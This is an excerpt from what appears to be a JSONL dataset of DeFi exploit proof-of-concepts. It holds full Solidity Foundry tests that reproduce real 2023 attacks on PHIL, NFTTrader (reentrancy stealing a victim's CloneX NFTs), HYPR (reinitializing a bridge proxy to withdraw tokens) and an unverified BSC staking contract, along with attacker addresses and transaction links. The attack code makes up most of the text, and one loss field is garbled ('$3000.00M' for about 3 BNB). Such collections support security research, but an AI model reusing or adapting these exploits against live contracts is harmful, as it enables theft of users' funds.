"https://bscscan.com/tx/0xfb14292a531411f852993e5a3ba4e7eb63ed548220267b9b3f4aacc5572d3a58", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "~3BNB", "category": "flash-loan", "exploit_code": "function testExploit() public {\n // WBNB.approve(address(Router), type(uint256).max);\n // HackDao.approve(address(Router), type(uint256).max);\n DVM(dodo).flashLoan(100 * 1e18, 0, address(this), \"0x00\");\n\n emit log_named_decimal_uint(\"[End] Attacker BNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~3BNB", "keyinfo_attacker": "https://bscscan.com/address/0xcb733f075ae67a83a9c5f38a0864596e338a0106", "keyinfo_attack_contract": "https://bscscan.com/address/0x0fe1983b8972630c866fe77ad873a66ec598b685", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x10ed43c718714eb63d5aa57b78b54704e256024e", "keyinfo_attack_tx": "https://bscscan.com/tx/0xfb14292a531411f852993e5a3ba4e7eb63ed548220267b9b3f4aacc5572d3a58", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$3000.00M", "content_richness_score": 9.32, "quality_estimate": "high", "title": "Bob Exploit (2023-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\n// @KeyInfo - Total Lost : ~2 $BNB\n// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502\n// Vulnerable Contract : https://bscscan.com/address/0x4308d314096878d3bf16c9d8db86101f70bbebf1\n// Attack Tx : https://bscscan.com/tx/0x20ecd8310a2cc7f7774aa5a045c8a99ad84a8451d6650f24e0911e9f4355b13a\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IPHIL is IERC20 {\n function simpleToken() external;\n}\n\ncontract ContractTest is Test {\n IPHIL PHIL = IPHIL(0x4308D314096878D3bf16C9d8DB86101F70BBebF1);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n Uni_Pair_V3 PHILTOWBNB = Uni_Pair_V3(0xb8b408A6BD3E43FCDE7D7AbC381ef10bcCcd5349);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 34_345_320 - 1);\n vm.label(address(WBNB), \"WBNB\");\n vm.label(address(PHIL), \"PHIL\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"Attacker WBNB balance before attack\", WBNB.balanceOf(address(this)), 18);\n PHIL.simpleToken();\n TOKENToWETH();\n emit log_named_decimal_uint(\"Attacker WBNB balance after attack\", WBNB.balanceOf(address(this)), 18);\n }\n\n function TOKENToWETH() internal {\n bool zeroForOne = true;\n uint160 sqrtPriceLimitX96 = 4_295_128_740;\n bytes memory data = abi.encodePacked(uint8(0x61));\n int256 amountSpecified = 21_000 * 1e18;\n PHILTOWBNB.swap(address(this), zeroForOne, amountSpecified, sqrtPriceLimitX96, data);\n }\n\n function pancakeV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {\n if (amount0Delta > 0) {\n IERC20(Uni_Pair_V3(msg.sender).token0()).transfer(msg.sender, uint256(amount0Delta));\n } else if (amount1Delta > 0) {\n IERC20(Uni_Pair_V3(msg.sender).token1()).transfer(msg.sender, uint256(amount1Delta));\n }\n }\n\n fallback() external payable {}\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "PHIL", "date": "2023-12", "file_name": "PHIL_exp.sol", "attack_vector": null, "content_hash": "af520fa11d69979a", "collected_at": "2026-01-07T10:59:16.530383", "_source": "postmortems", "chain": "bsc", "block_number": 34345320, "total_lost_raw": "~2 $BNB", "total_lost_usd": 2.0, "attacker_address": "https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502", "attack_contract": null, "vulnerable_contract": "https://bscscan.com/address/0x4308d314096878d3bf16c9d8db86101f70bbebf1", "attack_tx": "https://bscscan.com/tx/0x20ecd8310a2cc7f7774aa5a045c8a99ad84a8451d6650f24e0911e9f4355b13a", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "low", "severity_raw": "~2 $BNB", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"Attacker WBNB balance before attack\", WBNB.balanceOf(address(this)), 18);\n PHIL.simpleToken();\n TOKENToWETH();\n emit log_named_decimal_uint(\"Attacker WBNB balance after attack\", WBNB.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~2 $BNB", "keyinfo_attacker": "https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x4308d314096878d3bf16c9d8db86101f70bbebf1", "keyinfo_attack_tx": "https://bscscan.com/tx/0x20ecd8310a2cc7f7774aa5a045c8a99ad84a8451d6650f24e0911e9f4355b13a", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$2", "content_richness_score": 7.03, "quality_estimate": "medium", "title": "PHIL Exploit (2023-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~3M (info from hacked.slowmist.io)\n// Attacker : https://etherscan.io/address/0xb1edf2a0ba8bc789cbc3dfbe519737cada034d2d\n// Attacker Contract : https://etherscan.io/address/0x871f28e58f2a0906e4a56a82aec7f005b411f5c5\n// Vulnerable Contract : https://etherscan.io/address/0xc310e760778ecbca4c65b6c559874757a4c4ece0\n// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0xec7523660f8b66d9e4a5931d97ad8b30acc679c973b20038ba4c15d4336b393d\n\n// @Analysis\n// https://twitter.com/AnciliaInc/status/1736263884217139333\n// https://twitter.com/SlowMist_Team/status/1736005523550646535\n// https://twitter.com/0xArhat/status/1736038250190651467\n\ninterface IUniV3PosNFT {\n struct MintParams {\n address token0;\n address token1;\n uint24 fee;\n int24 tickLower;\n int24 tickUpper;\n uint256 amount0Desired;\n uint256 amount1Desired;\n uint256 amount0Min;\n uint256 amount1Min;\n address recipient;\n uint256 deadline;\n }\n\n function setApprovalForAll(address operator, bool approved) external;\n\n function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) external;\n\n function mint(\n MintParams memory params\n ) external payable returns (uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1);\n}\n\ninterface INFTTrader {\n struct swapIntent {\n uint256 id;\n address addressOne;\n uint256 valueOne;\n address addressTwo;\n uint256 valueTwo;\n uint256 swapStart;\n uint256 swapEnd;\n uint256 swapFee;\n uint8 status;\n }\n\n struct swapStruct {\n address dapp;\n address typeStd;\n uint256[] tokenId;\n uint256[] blc;\n bytes data;\n }\n\n function closeSwapIntent(address _swapCreator, uint256 _swapId) external payable;\n\n function createSwapIntent(\n swapIntent memory _swapIntent,\n swapStruct[] memory _nftsOne,\n swapStruct[] memory _nftsTwo\n ) external payable;\n\n function editCounterPart(uint256 _swapId, address _counterPart) external;\n}\n\ncontract ContractTest is Test {\n IUSDC private constant USDC = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));\n IUniV3PosNFT private constant UniV3PosNFT = IUniV3PosNFT(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);\n INFTTrader private constant NFTTrader = INFTTrader(0xC310e760778ECBca4C65B6C559874757A4c4Ece0);\n IERC721 private constant CloneX = IERC721(0x49cF6f5d44E70224e2E23fDcdd2C053F30aDA28B);\n address private constant victim = 0x23938954BC875bb8309AEF15e2Dead54884B73Db;\n address private constant tradeSquad = 0x58874d2951524F7f851bbBE240f0C3cF0b992d79;\n uint256 private swapId;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_799_414);\n vm.label(address(UniV3PosNFT), \"UniV3PosNFT\");\n vm.label(address(USDC), \"USDC\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(NFTTrader), \"NFTTrader\");\n vm.label(address(CloneX), \"CloneX\");\n vm.label(victim, \"Victim\");\n vm.label(tradeSquad, \"tradeSquad\");\n }\n\n function testExploit() public {\n deal(address(this), 0.001 ether);\n\n IUniV3PosNFT.MintParams memory params = IUniV3PosNFT.MintParams({\n token0: address(USDC),\n token1: address(WETH),\n fee: 500,\n tickLower: 0,\n tickUpper: 100_000,\n amount0Desired: 0,\n amount1Desired: address(this).balance,\n amount0Min: 0,\n amount1Min: 0,\n recipient: address(this),\n deadline: block.timestamp\n });\n\n (uint256 positionId,,,) = UniV3PosNFT.mint{value: address(this).balance}(params);\n\n vm.roll(18_799_435);\n deal(address(this), 0.1 ether);\n UniV3PosNFT.setApprovalForAll(address(CloneX), true);\n\n vm.roll(18_799_487);\n UniV3PosNFT.setApprovalForAll(address(NFTTrader), true);\n require(CloneX.isApprovedForAll(victim, address(NFTTrader)));\n\n emit log_named_uint(\"Victim CloneX balance before attack\", CloneX.balanceOf(victim));\n\n emit log_named_uint(\"Exploiter CloneX balance before attack\", CloneX.balanceOf(address(this)));\n\n uint256[] memory victimsCloneXTokenIds = new uint256[](CloneX.balanceOf(victim));\n victimsCloneXTokenIds[0] = 6670;\n victimsCloneXTokenIds[1] = 6650;\n victimsCloneXTokenIds[2] = 4843;\n victimsCloneXTokenIds[3] = 5432;\n victimsCloneXTokenIds[4] = 9870;\n\n for (uint8 i; i < victimsCloneXTokenIds.length; ++i) {\n INFTTrader.swapIntent memory _swapIntent = INFTTrader.swapIntent({\n id: 0,\n addressOne: address(0),\n valueOne: 0,\n addressTwo: address(this),\n valueTwo: 0,\n swapStart: 0,\n swapEnd: 0,\n swapFee: 0,\n status: 0\n });\n\n INFTTrader.swapStruct[] memory _nftsOne = new INFTTrader.swapStruct[](0);\n INFTTrader.swapStruct[] memory _nftsTwo = new INFTTrader.swapStruct[](2);\n uint256[] memory _tokenId1 = new uint256[](1);\n _tokenId1[0] = positionId;\n uint256[] memory _blc = new uint256[](0);\n _nftsTwo[0] = INFTTrader.swapStruct({\n dapp: address(UniV3PosNFT),\n typeStd: tradeSquad,\n tokenId: _tokenId1,\n blc: _blc,\n data: \"\"\n });\n\n uint256[] memory _tokenId2 = new uint256[](1);\n _tokenId2[0] = victimsCloneXTokenIds[i];\n _nftsTwo[1] = INFTTrader.swapStruct({\n dapp: address(CloneX),\n typeStd: tradeSquad,\n tokenId: _tokenId2,\n blc: _blc,\n data: \"\"\n });\n vm.recordLogs();\n NFTTrader.createSwapIntent{value: 0.005 ether}(_swapIntent, _nftsOne, _nftsTwo);\n Vm.Log[] memory entries = vm.getRecordedLogs();\n (swapId,) = abi.decode(entries[0].data, (uint256, address));\n NFTTrader.closeSwapIntent{value: 0.005 ether}(address(this), swapId);\n }\n\n for (uint8 j; j < victimsCloneXTokenIds.length; ++j) {\n assertEq(CloneX.ownerOf(victimsCloneXTokenIds[j]), address(this));\n }\n\n emit log_named_uint(\"Victim CloneX balance after attack\", CloneX.balanceOf(victim));\n\n emit log_named_uint(\"Exploiter CloneX balance after attack\", CloneX.balanceOf(address(this)));\n }\n\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4) {\n // Flawed function. Lack of reentrancy protection\n NFTTrader.editCounterPart(swapId, victim);\n return this.onERC721Received.selector;\n }\n}\n", "type": "exploit_poc", "protocol": "NFTTrader", "date": "2023-12", "file_name": "NFTTrader_exp.sol", "attack_vector": "reentrancy", "content_hash": "486da90b406f5537", "collected_at": "2026-01-07T10:59:16.530431", "_source": "postmortems", "chain": "ethereum", "block_number": 18799414, "total_lost_raw": "~3M (info from hacked.slowmist.io)", "total_lost_usd": 3000000.0, "attacker_address": "https://etherscan.io/address/0xb1edf2a0ba8bc789cbc3dfbe519737cada034d2d", "attack_contract": null, "vulnerable_contract": "https://etherscan.io/address/0xc310e760778ecbca4c65b6c559874757a4c4ece0", "attack_tx": "https://explorer.phalcon.xyz/tx/eth/0xec7523660f8b66d9e4a5931d97ad8b30acc679c973b20038ba4c15d4336b393d", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "~3M (info from hacked.slowmist.io)", "category": "reentrancy", "exploit_code": "function testExploit() public {\n deal(address(this), 0.001 ether);\n\n IUniV3PosNFT.MintParams memory params = IUniV3PosNFT.MintParams({\n token0: address(USDC),\n token1: address(WETH),\n fee: 500,\n tickLower: 0,\n tickUpper: 100_000,\n amount0Desired: 0,\n amount1Desired: address(this).balance,\n amount0Min: 0,\n amount1Min: 0,\n recipient: address(this),\n deadline: block.timestamp\n });\n\n (uint256 positionId,,,) = UniV3PosNFT.mint{value: address(this).balance}(params);\n\n vm.roll(18_799_435);\n deal(address(this), 0.1 ether);\n UniV3PosNFT.setApprovalForAll(address(CloneX), true);\n\n vm.roll(18_799_487);\n UniV3PosNFT.setApprovalForAll(address(NFTTrader), true);\n require(CloneX.isApprovedForAll(victim, address(NFTTrader)));\n\n emit log_named_uint(\"Victim CloneX balance before attack\", CloneX.balanceOf(victim));\n\n emit log_named_uint(\"Exploiter CloneX balance before attack\", CloneX.balanceOf(address(this)));\n\n uint256[] memory victimsCloneXTokenIds = new uint256[](CloneX.balanceOf(victim));\n victimsCloneXTokenIds[0] = 6670;\n victimsCloneXTokenIds[1] = 6650;\n victimsCloneXTokenIds[2] = 4843;\n victimsCloneXTokenIds[3] = 5432;\n victimsCloneXTokenIds[4] = 9870;\n\n for (uint8 i; i < victimsCloneXTokenIds.length; ++i) {\n INFTTrader.swapIntent memory _swapIntent = INFTTrader.swapIntent({\n id: 0,\n addressOne: address(0),\n valueOne: 0,\n addressTwo: address(this),\n valueTwo: 0,\n swapStart: 0,\n swapEnd: 0,\n swapFee: 0,\n status: 0\n });\n\n INFTTrader.swapStruct[] memory _nftsOne = new INFTTrader.swapStruct[](0);\n INFTTrader.swapStruct[] memory _nftsTwo = new INFTTrader.swapStruct[](2);\n uint256[] memory _tokenId1 = new uint256[](1);\n _tokenId1[0] = positionId;\n uint256[] memory _blc = new uint256[](0);\n _nftsTwo[0] = INFTTrader.swapStruct({\n dapp: address(UniV3PosNFT),\n typeStd: tradeSquad,\n tokenId: _tokenId1,\n blc: _blc,\n data: \"\"\n });\n\n uint256[] memory _tokenId2 = new uint256[](1);\n _tokenId2[0] = victimsCloneXTokenIds[i];\n _nftsTwo[1] = INFTTrader.swapStruct({\n dapp: address(CloneX),\n typeStd: tradeSquad,\n tokenId: _tokenId2,\n blc: _blc,\n data: \"\"\n });\n vm.recordLogs();\n NFTTrader.createSwapIntent{value: 0.005 ether}(_swapIntent, _nftsOne, _nftsTwo);\n Vm.Log[] memory entries = vm.getRecordedLogs();\n (swapId,) = abi.decode(entries[0].data, (uint256, address));\n NFTTrader.closeSwapIntent{value: 0.005 ether}(address(this), swapId);\n }\n\n for (uint8 j; j < victimsCloneXTokenIds.length; ++j) {\n assertEq(CloneX.ownerOf(victimsCloneXTokenIds[j]), address(this));\n }\n\n emit log_named_uint(\"Victim CloneX balance after attack\", CloneX.balanceOf(victim));\n\n emit log_named_uint(\"Exploiter CloneX balance after attack\", CloneX.balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "~3M (info from hacked.slowmist.io)", "keyinfo_attacker": "https://etherscan.io/address/0xb1edf2a0ba8bc789cbc3dfbe519737cada034d2d", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xc310e760778ecbca4c65b6c559874757a4c4ece0", "keyinfo_attack_tx": "https://explorer.phalcon.xyz/tx/eth/0xec7523660f8b66d9e4a5931d97ad8b30acc679c973b20038ba4c15d4336b393d", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$3.00M", "content_richness_score": 10, "quality_estimate": "high", "title": "NFTTrader Exploit (2023-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~200K USD$\n// Attacker : https://etherscan.io/address/0x3ea6ba6d3415e4dfd380516c799aafa94e420519\n// Attack Contract : https://etherscan.io/address/0xba6fa6e8500cd8eeda8ebb9dfbcc554ff4a3eb77\n// Vulnerable Contract : https://etherscan.io/address/0x40c31236b228935b0329eff066b1ad96e319595e\n// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0x51ce3d9cfc85c1f6a532b908bb2debb16c7569eb8b76effe614016aac6635f65\n\n// @Analysis\n// https://twitter.com/BlockSecTeam/status/1735197818883588574\n// https://twitter.com/MevRefund/status/1734791082376941810\n\ninterface IL1ChugSplashProxy {\n function initialize(\n address _messenger\n ) external;\n\n function finalizeERC20Withdrawal(\n address _l1Token,\n address _l2Token,\n address _from,\n address _to,\n uint256 _amount,\n bytes memory _extraData\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 private constant HYPR = IERC20(0x31aDdA225642a8f4D7e90d4152BE6661ab22a5a2);\n IL1ChugSplashProxy private constant ChugSplash = IL1ChugSplashProxy(0x40C31236B228935b0329eFF066B1AD96e319595e);\n address private constant messageSender = 0x4200000000000000000000000000000000000010;\n address private constant l2Token = 0xD7a421A6786cF4951a8FaE10385680222D63f89a;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_774_584);\n vm.label(address(HYPR), \"HYPR\");\n vm.label(address(ChugSplash), \"ChugSplash\");\n vm.label(messageSender, \"messageSender\");\n vm.label(l2Token, \"l2Token\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"Exploiter HYPR balance before attack\", HYPR.balanceOf(address(this)), HYPR.decimals()\n );\n\n ChugSplash.initialize(address(this));\n ChugSplash.finalizeERC20Withdrawal(\n address(HYPR), l2Token, address(ChugSplash), address(this), 2_570_000 * 1e18, bytes(\"\")\n );\n\n emit log_named_decimal_uint(\n \"Exploiter HYPR balance after attack\", HYPR.balanceOf(address(this)), HYPR.decimals()\n );\n }\n\n function xDomainMessageSender() external view returns (address) {\n return messageSender;\n }\n}\n", "type": "exploit_poc", "protocol": "HYPR", "date": "2023-12", "file_name": "HYPR_exp.sol", "attack_vector": null, "content_hash": "5714b56248913628", "collected_at": "2026-01-07T10:59:16.530494", "_source": "postmortems", "chain": "ethereum", "block_number": 18774584, "total_lost_raw": "~200K USD$", "total_lost_usd": 200000.0, "attacker_address": "https://etherscan.io/address/0x3ea6ba6d3415e4dfd380516c799aafa94e420519", "attack_contract": "https://etherscan.io/address/0xba6fa6e8500cd8eeda8ebb9dfbcc554ff4a3eb77", "vulnerable_contract": "https://etherscan.io/address/0x40c31236b228935b0329eff066b1ad96e319595e", "attack_tx": "https://explorer.phalcon.xyz/tx/eth/0x51ce3d9cfc85c1f6a532b908bb2debb16c7569eb8b76effe614016aac6635f65", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "~200K USD$", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"Exploiter HYPR balance before attack\", HYPR.balanceOf(address(this)), HYPR.decimals()\n );\n\n ChugSplash.initialize(address(this));\n ChugSplash.finalizeERC20Withdrawal(\n address(HYPR), l2Token, address(ChugSplash), address(this), 2_570_000 * 1e18, bytes(\"\")\n );\n\n emit log_named_decimal_uint(\n \"Exploiter HYPR balance after attack\", HYPR.balanceOf(address(this)), HYPR.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~200K USD$", "keyinfo_attacker": "https://etherscan.io/address/0x3ea6ba6d3415e4dfd380516c799aafa94e420519", "keyinfo_attack_contract": "https://etherscan.io/address/0xba6fa6e8500cd8eeda8ebb9dfbcc554ff4a3eb77", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x40c31236b228935b0329eff066b1ad96e319595e", "keyinfo_attack_tx": "https://explorer.phalcon.xyz/tx/eth/0x51ce3d9cfc85c1f6a532b908bb2debb16c7569eb8b76effe614016aac6635f65", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$200.0K", "content_richness_score": 7.17, "quality_estimate": "medium", "title": "HYPR Exploit (2023-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$500K\n// Attacker : https://bscscan.com/address/0xa9edec4496bd013dac805fb221edefc53cbfaf05\n// Attack Contract : https://bscscan.com/address/0x791626eb05e60fac973646ac8d67b008b939fe88\n// Victim Contract : https://bscscan.com/address/0x431abb27dab05f4e7cdeaa18390fe39364197500\n// Attack Tx (Claim) : https://explorer.phalcon.xyz/tx/bsc/0xbeea4ff215b15870e22ed0e4d36ccd595974ffd55c3d75dad2230196cc379a52\n// Attack Tx (Stake) : https://explorer.phalcon.xyz/tx/bsc/0xb650e9f4b9eb023ea65b55ca4d088323e3d5bda377880dedb149a7fd3fd5c15f\n\n// @Analysis\n// https://twitter.com/Phalcon_xyz/status/1730625352953901123\n\ninterface IBUSDT_MetaWin {\n function buy(\n uint256 amount\n ) external;\n}\n\ninterface IBindingContract {\n function bindParent(\n address parent\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 private constant FCN = IERC20(0x0fEA057dB0e6b45fa1A0065Cd512150987F2AF08);\n IERC20 private constant KLEN = IERC20(0x05CbF8417401028dE10d6B949061336dF8233a9f);\n IERC20 private constant TRUST = IERC20(0x31952292c193c05AE91e19456312E2Be1419c040);\n IERC20 private constant MDAO = IERC20(0x6cc1eACe0794bcc5852c7Ff70656c4dF0F02d950);\n Uni_Pair_V2 private constant FCN_BUSDT = Uni_Pair_V2(0xACB496dd4A8b6B9D1B99D422b8700F6EF932Bc10);\n IBUSDT_MetaWin private constant BUSDT_MetaWin = IBUSDT_MetaWin(0x90bf82c772f16651d6ae51D42c90c84aE703Eb42);\n IBindingContract private constant BindingContract = IBindingContract(0x04c5bcFcae55591D72E01c548863F4E754C74339);\n address private constant vulnContract = 0x431Abb27dAB05f4E7cDeAA18390fE39364197500;\n address private constant addrToBind = 0x041285A02A7fabc448893f6c1766e4B592f46f96;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 33_972_111);\n vm.label(address(BUSDT), \"BUSDT\");\n vm.label(address(FCN), \"FCN\");\n vm.label(address(KLEN), \"KLEN\");\n vm.label(address(TRUST), \"TRUST\");\n vm.label(address(MDAO), \"MDAO\");\n vm.label(address(FCN_BUSDT), \"FCN_BUSDT\");\n vm.label(address(BUSDT_MetaWin), \"BUSDT_MetaWin\");\n vm.label(address(BindingContract), \"BindingContract\");\n vm.label(vulnContract, \"vulnContract\");\n vm.label(addrToBind, \"addrToBind\");\n }\n\n function testExploit() public {\n // Exploiter transfer to attack contract following amounts of tokens (for staking) before attack:\n deal(address(TRUST), address(this), 171_150_509_328_412_454 + 283_615_706_379_311_069);\n deal(address(KLEN), address(this), 2848 * 1e18 + 2_999_999_999_999_999_999_999);\n deal(address(MDAO), address(this), 360_000_000_000_000_004_830 + 2_700_000_000_000_000_007_354);\n deal(address(FCN), address(this), 190e12);\n deal(address(BUSDT), address(this), 400e18 + 780_008_559_000_000_000_000);\n\n emit log_named_decimal_uint(\n \"Exploiter BUSDT balance before attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n emit log_named_decimal_uint(\"Exploiter FCN balance before attack\", FCN.balanceOf(address(this)), FCN.decimals());\n\n // Approving tokens to vulnerable, unverified contract\n setApprovals();\n\n // Stake tokens TX\n BUSDT_MetaWin.buy(7690);\n BindingContract.bindParent(addrToBind);\n (bool success,) = vulnContract.call(abi.encodeWithSelector(bytes4(0x1f6b08a4), 1));\n require(success, \"Call to func with selector 0x1f6b08a4 not successful\");\n (success,) = vulnContract.call(abi.encodeWithSelector(bytes4(0x61b761d5), 200e18));\n require(success, \"Call to func with selector 0x61b761d5 not successful\");\n\n HelperExploitContract helper = new HelperExploitContract();\n transferTokens(address(helper));\n helper.exploit();\n\n // Claim tokens TX\n vm.roll(33_972_130);\n FCN_BUSDT.swap(0, BUSDT.balanceOf(address(FCN_BUSDT)) - 20e15, address(this), abi.encode(0));\n emit log_named_decimal_uint(\n \"Exploiter BUSDT balance after attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n emit log_named_decimal_uint(\"Exploiter FCN balance after attack\", FCN.balanceOf(address(this)), FCN.decimals());\n }\n\n function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {\n // Claim rewards in this call:\n (bool success,) = vulnContract.call(abi.encodeWithSelector(bytes4(0xd9574d4c)));\n require(success, \"Call to func with selector 0xd9574d4c not successful\");\n\n // Repaying flashloan\n BUSDT.transfer(address(FCN_BUSDT), 10_000 * 1e18);\n FCN.transfer(address(FCN_BUSDT), 100e18);\n }\n\n function setApprovals() internal {\n KLEN.approve(vulnContract, type(uint256).max);\n TRUST.approve(vulnContract, type(uint256).max);\n MDAO.approve(vulnContract, type(uint256).max);\n FCN.approve(vulnContract, type(uint256).max);\n BUSDT.approve(address(BUSDT_MetaWin), type(uint256).max);\n }\n\n function transferTokens(\n address to\n ) internal {\n KLEN.transfer(to, KLEN.balanceOf(address(this)) / 2);\n TRUST.transfer(to, TRUST.balanceOf(address(this)) / 2);\n MDAO.transfer(to, MDAO.balanceOf(address(this)) / 2);\n FCN.transfer(to, FCN.balanceOf(address(this)) / 2);\n BUSDT.transfer(to, BUSDT.balanceOf(address(this)) / 2);\n }\n}\n\ncontract HelperExploitContract is Test {\n IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 private constant FCN = IERC20(0x0fEA057dB0e6b45fa1A0065Cd512150987F2AF08);\n IERC20 private constant KLEN = IERC20(0x05CbF8417401028dE10d6B949061336dF8233a9f);\n IERC20 private constant TRUST = IERC20(0x31952292c193c05AE91e19456312E2Be1419c040);\n IERC20 private constant MDAO = IERC20(0x6cc1eACe0794bcc5852c7Ff70656c4dF0F02d950);\n IBUSDT_MetaWin private constant BUSDT_MetaWin = IBUSDT_MetaWin(0x90bf82c772f16651d6ae51D42c90c84aE703Eb42);\n IBindingContract private constant BindingContract = IBindingContract(0x04c5bcFcae55591D72E01c548863F4E754C74339);\n address private constant vulnContract = 0x431Abb27dAB05f4E7cDeAA18390fE39364197500;\n\n function exploit() external {\n setApprovals();\n BUSDT_MetaWin.buy(6069);\n BindingContract.bindParent(msg.sender);\n (bool success,) = vulnContract.call(abi.encodeWithSelector(bytes4(0x1f6b08a4), 1));\n require(success, \"Call to func with selector 0x1f6b08a4 not successful\");\n (success,) = vulnContract.call(abi.encodeWithSelector(bytes4(0x61b761d5), 200e18));\n require(success, \"Call to func with selector 0x61b761d5 not successful\");\n }\n\n function setApprovals() internal {\n KLEN.approve(vulnContract, type(uint256).max);\n TRUST.approve(vulnContract, type(uint256).max);\n MDAO.approve(vulnContract, type(uint256).max);\n FCN.approve(vulnContract, type(uint256).max);\n BUSDT.approve(address(BUSDT_MetaWin), type(uint256).max);\n }\n}\n", "type": "exploit_poc", "protocol": "UnverifiedContr_0x431abb", "date": "2023-12", "file_name": "UnverifiedContr_0x431abb_exp.sol", "attack_vector": "flash_loan", "content_hash": "806de7f8c13eb065", "collected_at": "2026-01-07T10:59:16.530537", "_source": "postmortems", "chain": "bsc", "block_number": 33972111, "total_lost_raw": "~$500K", "total_lost_usd": 500000.0, "attacker_address": "https://bscscan.com/address/0xa9edec4496bd013dac805fb221edefc53cbfaf05", "attack_contract": "https://bscscan.com/address/0x791626eb05e60fac973646ac8d67b008b939fe88", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~$500K", "category": "flash-loan", "exploit_code": "function testExploit() public {\n // Exploiter transfer to attack contract following amounts of tokens (for staking) before attack:\n deal(address(TRUST), address(this), 171_150_509_328_412_454 + 283_615_706_379_311_069);\n deal(address(KLEN), address(this), 2848 * 1e18 + 2_999_999_999_999_999_999_999);\n deal(address(MDAO), address(this), 360_000_000_000_000_004_830 + 2_700_000_000_000_000_007_354);\n deal(address(FCN), address(this), 190e12);\n deal(address(BUSDT), address(this), 400e18 + 780_008_559_000_000_000_000);\n\n emit log_named_decimal_uint(\n \"Exploiter BUSDT balance before attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n emit log_named_decimal_uint(\"Exploiter FCN balance before attack\", FCN.balanceOf(address(this)), FCN.decimals());\n\n // Approving tokens to vulnerable, unverified contract\n setApprovals();\n\n // Stake tokens TX\n BUSDT_MetaWin.buy(7690);\n BindingContract.bindParent(addrToBind);\n (bool success,) = vulnContract.call(abi.encodeWithSelector(bytes4(0x1f6b08a4), 1));\n require(success, \"Call to func with selector 0x1f6b08a4 not successful\");\n (success,) = vulnContract.call(abi.encodeWithSelector(bytes4(0x61b761d5), 200e18));\n require(success, \"Call to func with selector 0x61b761d5 not successful\");\n\n HelperExploitContract 